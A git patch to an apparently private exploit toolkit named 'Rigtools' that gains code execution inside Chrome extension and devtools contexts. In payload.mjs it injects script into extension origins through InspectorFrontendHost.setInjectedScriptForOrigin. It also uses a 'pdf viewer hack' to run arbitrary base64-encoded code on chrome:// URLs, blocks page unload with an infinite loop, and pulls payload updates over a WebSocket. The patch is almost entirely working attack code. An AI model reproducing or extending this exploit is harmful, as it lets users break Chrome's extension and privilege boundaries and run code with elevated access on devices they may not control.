From d1679574b8993f7684a22c361dd0e6896fec6942 Mon Sep 17 00:00:00 2001 From: MunyDev Date: Sat, 11 May 2024 13:30:54 +0000 Subject: [PATCH] Release 0.0.1 Updater, Extension debugging, devtools debugging, chrome url debugging --- README.md | 13 ++++++- payload.mjs | 33 +++++++++++++++--- payloads/index.js | 86 ++++++++++++++++++++++++++--------------------- 3 files changed, 89 insertions(+), 43 deletions(-) diff --git a/README.md b/README.md index 11c8565..5b3a3d7 100644 --- a/README.md +++ b/README.md @@ -1 +1,12 @@ -Extension/Devtools context Javascript execution. +# Rigtools +Extension/Devtools code execution + +## Release information +- Release 0.0.1 + - This release contains the following things: + - Updater + - Extension debugging + - Devtools debugging + - Chrome url debugging. + +## Private, do not share. \ No newline at end of file diff --git a/payload.mjs b/payload.mjs index 6710772..e12c3c7 100644 --- a/payload.mjs +++ b/payload.mjs @@ -26,9 +26,17 @@ function ui() { + const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; var globalUID = 0; let globalMap = []; function payload_swamp(w, d) { + const pdfId = "mhjfbmdgcfjbbpaeojofohoefgiehjai"; // Redefinition because we convert this function to a string + if (location.origin.includes("chrome-extension://" + pdfId)) { + chrome.tabs.create({url: "chrome://resources/mojo/mojo/public/js/bindings.js"}, function (x) { + chrome.tabs.executeScript(x.id, {code: atob('%%CHROMEPAYLOAD%%')}); + }); + return; + } // console.log(d); // w.setTimeout(function() { const blob_url = new Blob(["alert(1)"], { type: "text/html" }); @@ -91,10 +99,19 @@ Re-open devtools Update payload Cleanup and reset for extension + Chrome URLs + `) + document.querySelector('#activate').onclick = function ( ) { + dbgext(false, pdfId); + } + onunload = function () { + while (true); + } document.close(); document.title = "Dashboard"; document.querySelector('#updater').onclick = function(ev) { + onunload = null; const ws = new WebSocket("ws://%%updaterurl%%"); ws.onopen = function() { @@ -127,17 +144,25 @@ } } } - function dbgext(cleanup) { - let x = null; + function dbgext(cleanup, id) { + let x = id; while (!x) { x = prompt('Extension id?'); if (x === "cancel") { return; } } + let path = 'manifest.json'; + let is_pdf = false; + let injected = payload_swamp.toString(); + if (x === pdfId) { + path = "index.html"; // pdf viewer hack + is_pdf = true; + injected = injected.replace('%%CHROMEPAYLOAD%%', btoa(prompt("code to execute!"))); + } const URL_1 = `chrome-extension://${x ?? - alert("NOTREACHED")}/manifest.json`; - InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/manifest.json'); w.onload = function () {(${payload_swamp.toString()})(w, data.data)} }//`); + alert("NOTREACHED")}/${path}`; + InspectorFrontendHost.setInjectedScriptForOrigin(new URL(URL_1).origin, `window.cleanup = ()=>{window.parent.postMessage({type: "remove", uid: window.sys.passcode}, '*');} ;onmessage = function (data) {window.sys = data.data; const w = open(origin + '/${path}'); w.onload = function () {(${injected})(w, data.data)} }//`); const ifr = document.createElement("iframe"); ifr.src = URL_1; document.body.appendChild(ifr); diff --git a/payloads/index.js b/payloads/index.js index 1ee8a79..0eb2343 100644 --- a/payloads/index.js +++ b/payloads/index.js @@ -30,11 +30,10 @@ class DefaultExtensionCapabilities { `; updateTabList(tablist, isTabTitleQueryable, tabStatus) { - if (this.disarmed) { return; } - + if (this.tabListInProgress) { console.log("In progress tablist building!"); // setTimeout(this.updateTabList.bind(this, tablist, isTabTitleQueryable, tabStatus)); @@ -43,46 +42,57 @@ class DefaultExtensionCapabilities { this.tabListInProgress = true; tablist.innerHTML = ""; const thiz = this; - chrome.tabs.query({}, function (tabInfos) { - tabInfos.forEach(function (info) { - const listItem = document.createElement("li"); - listItem.textContent = isTabTitleQueryable - ? `${info.title} (${info.url})` - : "(not available)"; - const button = document.createElement("button"); - button.innerHTML = "Preview"; - button.onclick = () => { - thiz.disarm = true; - - thiz.previewing = true; - - chrome.tabs.update(info.id, { - active: true, - }); - setTimeout(function () { - setTimeout(function () { - chrome.tabs.getCurrent(function (tab) { - chrome.tabs.update(tab.id, { active: true }); - thiz.disarm = false; - thiz.previewing = false; + chrome.windows.getAll(function (win) { + win.forEach(function (v) { + chrome.tabs.query({windowId: v.id}, function (tabInfos) { + tabInfos.forEach(function (info) { + const listItem = document.createElement("li"); + listItem.textContent = isTabTitleQueryable + ? `${info.title} (${info.url})` + : "(not available)"; + const button = document.createElement("button"); + button.innerHTML = "Preview"; + button.onclick = () => { + thiz.disarm = true; + + thiz.previewing = true; + + chrome.windows.update(info.windowId, { + focused: true + }, function () { + chrome.tabs.update(info.id, { active: true }); + }); - }) - }, 100); - }; - listItem.appendChild(button); - tablist.appendChild(listItem); - }); - thiz.tabListInProgress = false; - if (isTabTitleQueryable) { - tabStatus.style.display = "none"; - } else { - tabStatus.textContent = - "(Some data might not be available, because the extension doesn't have the 'tabs' permission)"; - } + window.currentTimeout = setTimeout(function m() { + clearTimeout(window.currentTimeout); + + chrome.tabs.getCurrent(function (tab) { + chrome.windows.update(tab.windowId, { + focused: true + }, function () { + chrome.tabs.update(tab.id, { active: true }); + thiz.disarm = false; + thiz.previewing = false; + }); + + }); + }, 100); + }; + tablist.appendChild(listItem); + tablist.appendChild(button); + }); + thiz.tabListInProgress = false; + if (isTabTitleQueryable) { + tabStatus.style.display = "none"; + } else { + tabStatus.textContent = + "(Some data might not be available, because the extension doesn't have the 'tabs' permission)"; + } + }); + }) }); } activate() { - document.body.innerHTML += DefaultExtensionCapabilities.template; document.body.querySelectorAll("button").forEach(function (btn) { btn.onclick = this.onBtnClick_.bind(this, btn);